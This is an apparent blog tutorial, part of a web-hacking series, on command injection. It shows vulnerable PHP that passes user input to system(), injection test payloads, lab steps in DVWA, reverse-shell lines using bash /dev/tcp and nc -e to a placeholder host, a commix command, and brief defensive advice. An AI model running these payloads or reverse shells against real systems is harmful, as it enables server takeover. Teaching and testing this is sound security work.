Command Injection – Shell Access Through User Input

💡 Introduction

Command Injection allows attackers to run system-level commands on a server through a vulnerable web app.

It’s one of the fastest ways to get a shell — and a gateway to full system compromise.

In this post, you’ll learn:

  • ✅ What command injection is

  • ✅ How to detect it

  • ✅ How to exploit it manually and with tools

  • ✅ How to get a reverse shell (ethically, in a lab)

🧠 What Is Command Injection?

When a web app passes unsanitized user input directly into a system command, attackers can append their own commands.

❌ Vulnerable PHP Code:


$ip = $_GET['ip'];
system("ping -c 3 $ip");

This code runs a ping to the provided IP. But if a user supplies additional shell commands, it can be exploited.

🧪 Malicious URL Input:


http://site.com/ping.php?ip=127.0.0.1;ls

This executes:


ping -c 3 127.0.0.1;ls

✅ Result: It pings the local IP, then runs ls — listing files on the server!

🧪 Manual Testing for Command Injection

Test payloads like:

127.0.0.1; whoami
127.0.0.1 && id
127.0.0.1 | uname -a
127.0.0.1 || sleep 5

Look for:

  • Delayed responses (from sleep)

  • Extra output in HTML (from id, ls)

  • Errors in system calls

Use Burp Suite Repeater to easily modify inputs and view server responses.

🧰 Practice: DVWA or bWAPP

In DVWA (Command Injection module):

  1. Try: 127.0.0.1; whoami

  2. Output will show current user (e.g., www-data)

  3. Try chaining: 127.0.0.1 && ls -la

This confirms code execution.

⚙️ Getting a Reverse Shell (Advanced Lab Only)

Set up a listener:

nc -lvnp 4444

Then inject:

127.0.0.1; bash -i >& /dev/tcp/YOUR-IP/4444 0>&1

Or use:

127.0.0.1; nc YOUR-IP 4444 -e /bin/bash

✅ Use this only in safe labs like DVWA, bWAPP, or TryHackMe.

🛠️ Tools to Automate

  • Commix – Command Injection Exploiter

commix --url="http://site.com/vuln.php?ip=127.0.0.1"
  • Burp Extensions – Some can help fuzz system parameters

  • WFuzz / ffuf – Can be used to brute common commands in parameters

🛡️ Defending Against Command Injection

From the dev side:

  • Never pass user input into shell/system commands directly

  • Use whitelisting for input

  • Prefer built-in language functions (e.g., ping() instead of system("ping"))

  • Apply proper input sanitization and escaping

🧠 Real-World Risk

Command Injection can lead to:

  • Full server access

  • Data exfiltration

  • Malware deployment

  • Privilege escalation

Even one vulnerable endpoint = total compromise.

🔚 Wrapping Up

You’ve now learned:

  • How command injection works

  • How to manually test and exploit it

  • How to get shell access in a lab

  • How to defend against it in code

👉 Coming up next:
Part 7 – File Upload Vulnerabilities & Web Shells

We’ll explore how insecure upload functions allow attackers to plant malware, backdoors, and web shells — and how to spot and stop them.

1 thought on “Command Injection – Shell Access Through User Input”

Leave a comment

Index